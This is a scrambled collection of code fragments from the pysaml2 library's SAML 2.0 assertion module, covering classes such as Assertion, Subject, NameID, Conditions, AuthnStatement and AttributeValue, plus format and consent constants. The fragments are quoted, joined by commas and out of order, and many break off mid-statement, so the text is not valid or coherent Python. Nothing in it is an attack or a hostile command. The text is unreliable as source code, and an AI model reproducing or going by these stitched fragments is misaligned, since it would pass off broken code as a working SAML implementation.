extension_attributes=extension_attributes) self.key_info = key_info or [] def key_info_confirmation_data_type__from_string(xml_string): return", "= 'AuthnContextClassRef' c_namespace = NAMESPACE c_value_type = {'base': 'anyURI'} c_children", "attributes\" ) if self.extension_attributes[XSI_NIL] != \"true\": raise Exception( \"Attribute value", "xsd_type if xsd_type else '') SamlBase.__setattr__(self, 'text', text) return self", "[ XSD if xsd_string in xsd_types_props else '', xsd_string ]", "extension_elements=extension_elements, extension_attributes=extension_attributes) self.authn_context_class_ref = authn_context_class_ref self.authn_context_decl = authn_context_decl self.authn_context_decl_ref =", "c_children = ConditionsType_.c_children.copy() c_attributes = ConditionsType_.c_attributes.copy() c_child_order = ConditionsType_.c_child_order[:] c_cardinality", "'Advice'] class AssertionType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AssertionType element \"\"\" c_tag = 'AssertionType'", "to_type = xsd_type_props.get('to_type', str) to_text = xsd_type_props.get('to_text', str) # cast", "xml_string) class ActionType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ActionType element \"\"\" c_tag = 'ActionType'", "= {\"min\": 0, \"max\": 1} c_children[ '{urn:oasis:names:tc:SAML:2.0:assertion}SubjectConfirmationData'] = ( 'subject_confirmation_data',", "= sp_provided_id def name_id_type__from_string(xml_string): return saml2.create_class_from_xml_string(NameIDType_, xml_string) class EncryptedElementType_(SamlBase): \"\"\"The", "extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.authn_context_class_ref = authn_context_class_ref self.authn_context_decl =", "= SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def assertion_uri_ref_from_string(xml_string):", "action_from_string(xml_string): return saml2.create_class_from_xml_string(Action, xml_string) class AttributeType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AttributeType element \"\"\"", "class Assertion(AssertionType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Assertion element \"\"\" c_tag = 'Assertion' c_namespace", "'to_type': float, 'to_text': _str, }, 'double': { 'type': float, 'to_type':", "return saml2.create_class_from_xml_string(ConditionsType_, xml_string) class AuthnStatementType_(StatementAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnStatementType element \"\"\" c_tag", "= StatementAbstractType_.c_attributes.copy() c_child_order = StatementAbstractType_.c_child_order[:] c_cardinality = StatementAbstractType_.c_cardinality.copy() def statement_from_string(xml_string):", "if self.authn_context_decl and self.authn_context_decl_ref: raise Exception( \"Invalid Response: \" \"Cannot", "'BaseIDAbstractType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes = SamlBase.c_attributes.copy()", "element \"\"\" c_tag = 'SubjectConfirmationDataType' c_namespace = NAMESPACE c_children =", "return saml2.create_class_from_xml_string(OneTimeUseType_, xml_string) class ProxyRestrictionType_(ConditionAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ProxyRestrictionType element \"\"\" c_tag", "['Permit', 'Deny', 'Indeterminate']} c_children = SamlBase.c_children.copy() c_attributes = SamlBase.c_attributes.copy() c_child_order", "EncryptedID) c_cardinality['encrypted_id'] = {\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}SubjectConfirmation'] = (", "c_child_order.extend(['authn_context_class_ref', 'authn_context_decl', 'authn_context_decl_ref', 'authenticating_authority']) def __init__(self, authn_context_class_ref=None, authn_context_decl=None, authn_context_decl_ref=None, authenticating_authority=None,", "c_children = SubjectLocalityType_.c_children.copy() c_attributes = SubjectLocalityType_.c_attributes.copy() c_child_order = SubjectLocalityType_.c_child_order[:] c_cardinality", "element if self.attribute_statement or self.statement or \\ self.authn_statement or self.authz_decision_statement:", "extension_attributes=extension_attributes) self.encrypted_data = encrypted_data self.encrypted_key = encrypted_key or [] def", "\"\"\" c_tag = 'Condition' c_namespace = NAMESPACE c_children = ConditionAbstractType_.c_children.copy()", "extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.assertion_id_ref = assertion_id_ref or []", "\"Permit\" # the specified action is denied DECISION_TYPE_DENY = \"Deny\"", "( 'authz_decision_statement', [AuthzDecisionStatement]) c_cardinality['authz_decision_statement'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AttributeStatement'] = (", "element \"\"\" c_tag = 'AuthenticatingAuthority' c_namespace = NAMESPACE c_value_type =", "number of different formats. SAML's predefined formats include: Email address,", "= {\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Subject'] = ('subject', Subject) c_cardinality['subject']", "session_not_on_or_after=None, text=None, extension_elements=None, extension_attributes=None): StatementAbstractType_.__init__( self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.subject_locality", "is _str and valid_type is not _str: try: value =", "address\") elif self.dns_name: valid_domain_name(self.dns_name) return SubjectLocalityType_.verify(self) def subject_locality_from_string(xml_string): return saml2.create_class_from_xml_string(SubjectLocality,", "'to_text': _str, }, 'float': { 'type': float, 'to_type': float, 'to_text':", "assertion_from_string(xml_string): return saml2.create_class_from_xml_string(Assertion, xml_string) class AdviceType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AdviceType element \"\"\"", "\"text\": self.set_text(value) else: SamlBase.__setattr__(self, key, value) def verify(self): if not", "_str, }, 'int': { 'type': int, 'to_type': int, 'to_text': _str,", "= NAMESPACE c_children = OneTimeUseType_.c_children.copy() c_attributes = OneTimeUseType_.c_attributes.copy() c_child_order =", "class ProxyRestriction(ProxyRestrictionType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ProxyRestriction element \"\"\" c_tag = 'ProxyRestriction' c_namespace", "class ProxyRestrictionType_(ConditionAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ProxyRestrictionType element \"\"\" c_tag = 'ProxyRestrictionType' c_namespace", "( 'advice', Advice) # ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AG_IDNameQualifiers = [ ('NameQualifier', 'string',", "AttributeStatementType_, 'Attribute': Attribute, 'AttributeType': AttributeType_, 'AttributeValue': AttributeValue, 'EncryptedAttribute': EncryptedAttribute, 'BaseIDAbstractType':", "SubjectLocalityType_.c_child_order[:] c_cardinality = SubjectLocalityType_.c_cardinality.copy() def verify(self): if self.address: # dotted-decimal", "= ( 'assertion', [Assertion]) c_cardinality['assertion'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}EncryptedAssertion'] =", "different formats. SAML's predefined formats include: Email address, X.509 subject", "'string', False) c_attributes['Format'] = ('format', 'anyURI', False) c_attributes['SPProvidedID'] = ('sp_provided_id',", "c_namespace = NAMESPACE c_children = ConditionsType_.c_children.copy() c_attributes = ConditionsType_.c_attributes.copy() c_child_order", "AssertionIDRef, 'AssertionURIRef': AssertionURIRef, 'Assertion': Assertion, 'AssertionType': AssertionType_, 'Subject': Subject, 'SubjectType':", "key, value): if key == \"text\": self.set_text(value) else: SamlBase.__setattr__(self, key,", "self def harvest_element_tree(self, tree): # Fill in the instance members", "type-checking if type(value) is _str and valid_type is not _str:", "ActionType_.c_children.copy() c_attributes = ActionType_.c_attributes.copy() c_child_order = ActionType_.c_child_order[:] c_cardinality = ActionType_.c_cardinality.copy()", "not match: {xsd}:{type}:{value}' msg = msg.format(xsd=xsd, type=type(value), value=value) raise ValueError(msg)", "initiated CONSENT_PRIOR = \"urn:oasis:names:tc:SAML:2.0:consent:prior\" # consent has been obtained implicitly", "'{urn:oasis:names:tc:SAML:2.0:assertion}SubjectConfirmationData'] = ( 'subject_confirmation_data', SubjectConfirmationData) c_cardinality['subject_confirmation_data'] = {\"min\": 0, \"max\":", "SubjectType_, 'SubjectConfirmation': SubjectConfirmation, 'SubjectConfirmationType': SubjectConfirmationType_, 'SubjectConfirmationData': SubjectConfirmationData, 'SubjectConfirmationDataType': SubjectConfirmationDataType_, 'KeyInfoConfirmationDataType':", "made to initiate authentication # authenticate the request with login", "c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AuthnContextDeclRef'] = ( 'authn_context_decl_ref', AuthnContextDeclRef) c_cardinality['authn_context_decl_ref'] = {\"min\": 0, \"max\":", "False) c_attributes['NotOnOrAfter'] = ('not_on_or_after', 'dateTime', False) c_attributes['Recipient'] = ('recipient', 'anyURI',", "text=None, extension_elements=None, extension_attributes=None): self._extatt = {} SamlBase.__init__(self, text=None, extension_elements=extension_elements, extension_attributes=extension_attributes)", "'Assertion' c_namespace = NAMESPACE c_children = AssertionType_.c_children.copy() c_attributes = AssertionType_.c_attributes.copy()", "c_tag = 'Condition' c_namespace = NAMESPACE c_children = ConditionAbstractType_.c_children.copy() c_attributes", "= SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{http://www.w3.org/2001/04/xmlenc#}EncryptedData'] =", "= {\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}NameID'] = ('name_id', NameID) c_cardinality['name_id']", "c_cardinality['statement'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AuthnStatement'] = ( 'authn_statement', [AuthnStatement]) c_cardinality['authn_statement']", "c_attributes = SubjectConfirmationDataType_.c_attributes.copy() c_child_order = SubjectConfirmationDataType_.c_child_order[:] c_cardinality = SubjectConfirmationDataType_.c_cardinality.copy() def", "attribute_from_string, AttributeType_.c_tag: attribute_type__from_string, AttributeValue.c_tag: attribute_value_from_string, EncryptedAttribute.c_tag: encrypted_attribute_from_string, } ELEMENT_BY_TAG =", "= ( 'assertion', [Assertion]) Evidence.c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Assertion'] = ( 'assertion', [Assertion]) AssertionType_.c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Advice']", "'dateTime', False) c_attributes['NotOnOrAfter'] = ('not_on_or_after', 'dateTime', False) c_child_order.extend(['condition', 'audience_restriction', 'one_time_use',", "extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.namespace = namespace def", "c_namespace = NAMESPACE c_children = AuthnStatementType_.c_children.copy() c_attributes = AuthnStatementType_.c_attributes.copy() c_child_order", "= base_id self.name_id = name_id self.encrypted_id = encrypted_id self.subject_confirmation =", "{\"min\": 0} c_attributes['NotBefore'] = ('not_before', 'dateTime', False) c_attributes['NotOnOrAfter'] = ('not_on_or_after',", "text=None, extension_elements=None, extension_attributes=None): StatementAbstractType_.__init__( self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.action =", "SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def authn_context_class_ref_from_string(xml_string): return", "c_cardinality['encrypted_id'] = {\"min\": 0, \"max\": 1} c_children[ '{urn:oasis:names:tc:SAML:2.0:assertion}SubjectConfirmationData'] = (", "or [] self.proxy_restriction = proxy_restriction or [] self.not_before = not_before", "'AudienceRestriction': AudienceRestriction, 'AudienceRestrictionType': AudienceRestrictionType_, 'Audience': Audience, 'OneTimeUse': OneTimeUse, 'OneTimeUseType': OneTimeUseType_,", "( 'assertion_id_ref', [AssertionIDRef]) c_cardinality['assertion_id_ref'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AssertionURIRef'] = (", "['AuthzDecisionStatement', 'EvidenceType', 'AdviceType', 'Evidence', # 'Assertion', 'AssertionType', 'AuthzDecisionStatementType', 'Advice'] class", "NameID, 'NameIDType': NameIDType_, 'EncryptedElementType': EncryptedElementType_, 'EncryptedID': EncryptedID, 'Issuer': Issuer, 'AssertionIDRef':", "'AssertionURIRef' c_namespace = NAMESPACE c_value_type = {'base': 'anyURI'} c_children =", "SubjectConfirmationDataType_.c_children.copy() c_attributes = SubjectConfirmationDataType_.c_attributes.copy() c_child_order = SubjectConfirmationDataType_.c_child_order[:] c_cardinality = SubjectConfirmationDataType_.c_cardinality.copy()", "'Audience': Audience, 'OneTimeUse': OneTimeUse, 'OneTimeUseType': OneTimeUseType_, 'ProxyRestriction': ProxyRestriction, 'ProxyRestrictionType': ProxyRestrictionType_,", "EvidenceType_, 'AttributeStatement': AttributeStatement, 'AttributeStatementType': AttributeStatementType_, 'Attribute': Attribute, 'AttributeType': AttributeType_, 'AttributeValue':", "if self.extension_attributes[XSI_NIL] != \"true\": raise Exception( \"Attribute value base should", "advice_from_string, AdviceType_.c_tag: advice_type__from_string, EncryptedAssertion.c_tag: encrypted_assertion_from_string, Statement.c_tag: statement_from_string, AuthnStatement.c_tag: authn_statement_from_string, AuthnStatementType_.c_tag:", "# linked subject NAMEID_FORMAT_PERSISTENT = ( \"urn:oasis:names:tc:SAML:2.0:nameid-format:persistent\") # annonymous subject", "MUST contain a subject element\") if self.authn_statement and not self.subject:", "= namespace def action_type__from_string(xml_string): return saml2.create_class_from_xml_string(ActionType_, xml_string) class AttributeValue(AttributeValueBase): \"\"\"The", "the request with login credentials, over tls/https AUTHN_PASSWORD_PROTECTED = \\", "extensions XS_NAMESPACE = 'http://www.w3.org/2001/XMLSchema' # xmlschema-instance, which contains several builtin", "urn:oasis:names:tc:SAML:2.0:assertion:SubjectLocality element \"\"\" c_tag = 'SubjectLocality' c_namespace = NAMESPACE c_children", "= {\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Conditions'] = ( 'conditions', Conditions)", "= 'AuthnContext' c_namespace = NAMESPACE c_children = AuthnContextType_.c_children.copy() c_attributes =", "c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def assertion_uri_ref_from_string(xml_string): return saml2.create_class_from_xml_string(AssertionURIRef,", "used more than once\") if self.proxy_restriction: if len(self.proxy_restriction) != 1:", "self.authn_context_class_ref = authn_context_class_ref self.authn_context_decl = authn_context_decl self.authn_context_decl_ref = authn_context_decl_ref self.authenticating_authority", "if base64encode else x ), }, 'anyType': { 'type': type(value),", "3rd party is identified on behalf of the subject given", "class SubjectConfirmationData(SubjectConfirmationDataType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectConfirmationData element \"\"\" c_tag = 'SubjectConfirmationData' c_namespace", "c_cardinality['authn_context_decl'] = {\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AuthnContextDeclRef'] = ( 'authn_context_decl_ref',", "saml2.create_class_from_xml_string(ActionType_, xml_string) class AttributeValue(AttributeValueBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AttributeValue element \"\"\" c_tag =", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:NameIDType element \"\"\" c_tag = 'NameIDType' c_namespace = NAMESPACE", "to NAME_FORMAT_UNSPECIFIED as NameFormat def harvest_element_tree(self, tree): tree.attrib.setdefault('NameFormat', NAME_FORMAT_UNSPECIFIED) SamlBase.harvest_element_tree(self,", "and sp communicate usually about a subject(NameID) # the format", "return saml2.create_class_from_xml_string(NameID, xml_string) class SubjectConfirmationData(SubjectConfirmationDataType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectConfirmationData element \"\"\" c_tag", "= ActionType_.c_attributes.copy() c_child_order = ActionType_.c_child_order[:] c_cardinality = ActionType_.c_cardinality.copy() def action_from_string(xml_string):", "a subject(NameID) # the format determines the category the subject", "\"\"\" c_tag = 'AuthenticatingAuthority' c_namespace = NAMESPACE c_value_type = {'base':", "[] self.encrypted_attribute = encrypted_attribute or [] def attribute_statement_type__from_string(xml_string): return saml2.create_class_from_xml_string(AttributeStatementType_,", "AdviceType_.c_cardinality.copy() def advice_from_string(xml_string): return saml2.create_class_from_xml_string(Advice, xml_string) # ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ EvidenceType_.c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Assertion'] =", "'encrypted_assertion', [EncryptedAssertion]) c_cardinality['encrypted_assertion'] = {\"min\": 0} c_child_order.extend(['assertion_id_ref', 'assertion_uri_ref', 'assertion', 'encrypted_assertion'])", "class Condition(ConditionAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Condition element \"\"\" c_tag = 'Condition' c_namespace", "'encrypted_key', [xenc.EncryptedKey]) c_cardinality['encrypted_key'] = {\"min\": 0} c_child_order.extend(['encrypted_data', 'encrypted_key']) def __init__(self,", "an AuthnRequest is made to initiate authentication # authenticate the", "return saml2.create_class_from_xml_string(SubjectType_, xml_string) class Conditions(ConditionsType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Conditions element \"\"\" c_tag", "c_tag = 'ConditionAbstractType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes", "( \"urn:oasis:names:tc:SAML:1.1:nameid-format:X509SubjectName\") # subject as windows domain name NAMEID_FORMAT_WINDOWSDOMAINQUALIFIEDNAME =", "class DecisionType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:DecisionType element \"\"\" c_tag = 'DecisionType' c_namespace", "( \"urn:oasis:names:tc:SAML:2.0:nameid-format:persistent\") # annonymous subject NAMEID_FORMAT_TRANSIENT = ( \"urn:oasis:names:tc:SAML:2.0:nameid-format:transient\") #", "c_attributes['IssueInstant'] = ('issue_instant', 'dateTime', True) c_child_order.extend(['issuer', 'signature', 'subject', 'conditions', 'advice',", "urn:oasis:names:tc:SAML:2.0:assertion:OneTimeUse element \"\"\" c_tag = 'OneTimeUse' c_namespace = NAMESPACE c_children", "\"\"\" c_tag = 'AuthnContextType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy()", "# consent attributes determine wether consent has been given and", "SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_attributes['Address'] = ('address', 'string', False) c_attributes['DNSName']", "\"urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport\" # attribute statements is key:value metadata shared with your", "SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def authn_context_decl_from_string(xml_string): return", "= ('issuer', Issuer) c_children['{http://www.w3.org/2000/09/xmldsig#}Signature'] = ('signature', ds.Signature) c_cardinality['signature'] = {\"min\":", "the ability to provide name identifiers in a number of", "SubjectType_.c_attributes.copy() c_child_order = SubjectType_.c_child_order[:] c_cardinality = SubjectType_.c_cardinality.copy() def subject_from_string(xml_string): return", "= NAMESPACE c_children = SamlBase.c_children.copy() c_attributes = SamlBase.c_attributes.copy() c_child_order =", "SamlBase.verify(self) def assertion_type__from_string(xml_string): return saml2.create_class_from_xml_string(AssertionType_, xml_string) class Assertion(AssertionType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Assertion", "#!/usr/bin/env python # # Generated Mon May 2 14:23:33 2011", "= proxy_restriction or [] self.not_before = not_before self.not_on_or_after = not_on_or_after", "from saml2.validate import valid_ipv6 from saml2.validate import ShouldValueError from saml2.validate", "urn:oasis:names:tc:SAML:2.0:assertion:Condition element \"\"\" c_tag = 'Condition' c_namespace = NAMESPACE c_children", "authn_instant=None, session_index=None, session_not_on_or_after=None, text=None, extension_elements=None, extension_attributes=None): StatementAbstractType_.__init__( self, text=text, extension_elements=extension_elements,", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AdviceType element \"\"\" c_tag = 'AdviceType' c_namespace = NAMESPACE", "[] self.version = version self.id = id self.issue_instant = issue_instant", "c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AttributeValue'] = ( 'attribute_value', [AttributeValue]) c_cardinality['attribute_value'] = {\"min\": 0} c_attributes['Name']", "type definition for xmlschemas XSI_NIL = '{%s}nil' % XSI_NAMESPACE #", "self.name_qualifier = name_qualifier self.sp_name_qualifier = sp_name_qualifier self.format = format self.sp_provided_id", "'AudienceRestriction' c_namespace = NAMESPACE c_children = AudienceRestrictionType_.c_children.copy() c_attributes = AudienceRestrictionType_.c_attributes.copy()", "# a profile outlines a set of rules describing how", "authn_context_decl=None, authn_context_decl_ref=None, authenticating_authority=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes)", "c_value_type = {'base': 'anyURI'} c_children = SamlBase.c_children.copy() c_attributes = SamlBase.c_attributes.copy()", "<reponame>masterapps-au/pysaml2 #!/usr/bin/env python # # Generated Mon May 2 14:23:33", "'NameID' c_namespace = NAMESPACE c_children = NameIDType_.c_children.copy() c_attributes = NameIDType_.c_attributes.copy()", "a number of different formats. SAML's predefined formats include: Email", "predetermined by arbitrary context # the specified action is permitted", "= StatementAbstractType_.c_child_order[:] c_cardinality = StatementAbstractType_.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}SubjectLocality'] = ( 'subject_locality', SubjectLocality)", "int, 'to_text': _str, }, 'int': { 'type': int, 'to_type': int,", "= ConditionAbstractType_.c_cardinality.copy() def condition_from_string(xml_string): return saml2.create_class_from_xml_string(Condition, xml_string) class AudienceRestrictionType_(ConditionAbstractType_): \"\"\"The", "'integer': { 'type': int, 'to_type': int, 'to_text': _str, }, 'short':", "c_cardinality['base_id'] = {\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}NameID'] = ('name_id', NameID)", "[] self.proxy_restriction = proxy_restriction or [] self.not_before = not_before self.not_on_or_after", "implicitly CONSENT_IMPLICIT = \"urn:oasis:names:tc:SAML:2.0:consent:current-implicit\" # consent has been obtained explicitly", "( 'assertion_uri_ref', [AssertionURIRef]) c_cardinality['assertion_uri_ref'] = {\"min\": 0} c_cardinality['assertion'] = {\"min\":", "'authn_context']) def __init__(self, subject_locality=None, authn_context=None, authn_instant=None, session_index=None, session_not_on_or_after=None, text=None, extension_elements=None,", "XSI_NAMESPACE # nil type definition for xmlschemas XSI_NIL = '{%s}nil'", "\"urn:oasis:names:tc:SAML:2.0:attrname-format:basic\" # dicc for avaiable formats NAME_FORMATS_SAML2 = ( ('NAME_FORMAT_BASIC',", "self.subject: raise MustValueError( \"If no statement MUST contain a subject", "msg.format(xsd=xsd, type=type(value), value=value) raise ValueError(msg) # only work with six.string_types", "c_tag = 'SubjectConfirmation' c_namespace = NAMESPACE c_children = SubjectConfirmationType_.c_children.copy() c_attributes", "return saml2.create_class_from_xml_string(AssertionURIRef, xml_string) class SubjectConfirmationDataType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectConfirmationDataType element \"\"\" c_tag", "('not_before', 'dateTime', False) c_attributes['NotOnOrAfter'] = ('not_on_or_after', 'dateTime', False) c_child_order.extend(['condition', 'audience_restriction',", "c_cardinality['conditions'] = {\"min\": 0, \"max\": 1} c_cardinality['advice'] = {\"min\": 0,", "been obtained before the message has been initiated CONSENT_PRIOR =", "as xenc # authentication information fields NAMESPACE = 'urn:oasis:names:tc:SAML:2.0:assertion' #", "= name_format self.friendly_name = friendly_name # when consuming such elements,", "dns_name def subject_locality_type__from_string(xml_string): return saml2.create_class_from_xml_string(SubjectLocalityType_, xml_string) class AuthnContextClassRef(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextClassRef", "c_attributes = SubjectConfirmationType_.c_attributes.copy() c_child_order = SubjectConfirmationType_.c_child_order[:] c_cardinality = SubjectConfirmationType_.c_cardinality.copy() def", "NAMEID_FORMAT_ENCRYPTED = ( \"urn:oasis:names:tc:SAML:2.0:nameid-format:encrypted\") # dicc for avaiable formats NAMEID_FORMATS_SAML2", "authn_instant self.session_index = session_index self.session_not_on_or_after = session_not_on_or_after def authn_statement_type__from_string(xml_string): return", "c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Statement'] = ( 'statement', [Statement]) c_cardinality['statement'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AuthnStatement']", "signature self.subject = subject self.conditions = conditions self.advice = advice", "{\"min\": 1} c_child_order.extend(['key_info']) def __init__(self, key_info=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self,", "should not have extension attributes\" ) return True else: SamlBase.verify(self)", "linked subject NAMEID_FORMAT_PERSISTENT = ( \"urn:oasis:names:tc:SAML:2.0:nameid-format:persistent\") # annonymous subject NAMEID_FORMAT_TRANSIENT", "return saml2.create_class_from_xml_string(ProxyRestrictionType_, xml_string) class EncryptedAssertion(EncryptedElementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EncryptedAssertion element \"\"\" c_tag", "if not self.extension_attributes: raise Exception( \"Attribute value base should not", "\"Deny\" # the SAML authority cannot determine if the action", "'statement', 'authn_statement', 'authz_decision_statement', 'attribute_statement']) def __init__(self, issuer=None, signature=None, subject=None, conditions=None,", "'string', False) c_child_order.extend(['attribute_value']) c_any_attribute = {\"namespace\": \"##other\", \"processContents\": \"lax\"} def", "= conditions self.advice = advice self.statement = statement or []", "be predetermined by arbitrary context # the specified action is", "c_cardinality['assertion_uri_ref'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Assertion'] = ( 'assertion', [Assertion]) c_cardinality['assertion']", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:StatementAbstractType element \"\"\" c_tag = 'StatementAbstractType' c_namespace = NAMESPACE", "shared with your app # custom format NAME_FORMAT_UNSPECIFIED = (", "SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def authn_context_decl_ref_from_string(xml_string): return", "decision_type__from_string(xml_string): return saml2.create_class_from_xml_string(DecisionType_, xml_string) class ActionType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ActionType element \"\"\"", "c_cardinality = SamlBase.c_cardinality.copy() c_attributes['NotBefore'] = ('not_before', 'dateTime', False) c_attributes['NotOnOrAfter'] =", "c_any_attribute = {\"namespace\": \"##other\", \"processContents\": \"lax\"} def __init__(self, attribute_value=None, name=None,", "= ( \"urn:oasis:names:tc:SAML:1.1:nameid-format:X509SubjectName\") # subject as windows domain name NAMEID_FORMAT_WINDOWSDOMAINQUALIFIEDNAME", "('base_id', BaseID) c_cardinality['base_id'] = {\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}NameID'] =", "KeyError: pass def set_text(self, value, base64encode=False): def _wrong_type_value(xsd, value): msg", "AuthnContext(AuthnContextType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContext element \"\"\" c_tag = 'AuthnContext' c_namespace =", "c_child_order = EncryptedElementType_.c_child_order[:] c_cardinality = EncryptedElementType_.c_cardinality.copy() def encrypted_attribute_from_string(xml_string): return saml2.create_class_from_xml_string(EncryptedAttribute,", "def __init__(self, base_id=None, name_id=None, encrypted_id=None, subject_confirmation_data=None, method=None, text=None, extension_elements=None, extension_attributes=None):", "self.encrypted_id = encrypted_id self.subject_confirmation = subject_confirmation or [] def subject_type__from_string(xml_string):", "saml2.validate import valid_ipv4, MustValueError from saml2.validate import valid_ipv6 from saml2.validate", "value, base64encode=False): def _wrong_type_value(xsd, value): msg = 'Type and value", "text = ( tree.text.strip() if tree.text and self.extension_elements else tree.text", "# # Generated Mon May 2 14:23:33 2011 by parse_xsd.py", "= not_before self.not_on_or_after = not_on_or_after self.recipient = recipient self.in_response_to =", "added children to this node # we consider whitespace insignificant", "( 'assertion', [Assertion]) c_cardinality['assertion'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}EncryptedAssertion'] = (", "a string into that type # - a function to", "\"\"\" c_tag = 'NameID' c_namespace = NAMESPACE c_children = NameIDType_.c_children.copy()", "xml_string) class SubjectConfirmationData(SubjectConfirmationDataType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectConfirmationData element \"\"\" c_tag = 'SubjectConfirmationData'", "later updated with errata, and the new version is here:", "xsd_types_props else '', xsd_string ] if ':' not in xsd_string", "= EncryptedElementType_.c_child_order[:] c_cardinality = EncryptedElementType_.c_cardinality.copy() def encrypted_attribute_from_string(xml_string): return saml2.create_class_from_xml_string(EncryptedAttribute, xml_string)", "elif not self.subject: raise MustValueError( \"If no statement MUST contain", "return saml2.create_class_from_xml_string(AdviceType_, xml_string) class Advice(AdviceType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Advice element \"\"\" c_tag", "import six from saml2 import xmldsig as ds from saml2", "party is identified on behalf of the subject given private/public", "= EncryptedElementType_.c_child_order[:] c_cardinality = EncryptedElementType_.c_cardinality.copy() def encrypted_id_from_string(xml_string): return saml2.create_class_from_xml_string(EncryptedID, xml_string)", "SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.key_info = key_info or [] def", "'string', True) c_attributes['NameFormat'] = ('name_format', 'anyURI', False) c_attributes['FriendlyName'] = ('friendly_name',", "a subject element\") if self.authn_statement and not self.subject: raise MustValueError(", "extension_elements=extension_elements, extension_attributes=extension_attributes) self.attribute_value = attribute_value or [] self.name = name", "text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.encrypted_data = encrypted_data", "NAMESPACE c_children = SubjectConfirmationDataType_.c_children.copy() c_attributes = SubjectConfirmationDataType_.c_attributes.copy() c_child_order = SubjectConfirmationDataType_.c_child_order[:]", "BaseIDAbstractType_.c_children.copy() c_attributes = BaseIDAbstractType_.c_attributes.copy() c_child_order = BaseIDAbstractType_.c_child_order[:] c_cardinality = BaseIDAbstractType_.c_cardinality.copy()", "c_children = EncryptedElementType_.c_children.copy() c_attributes = 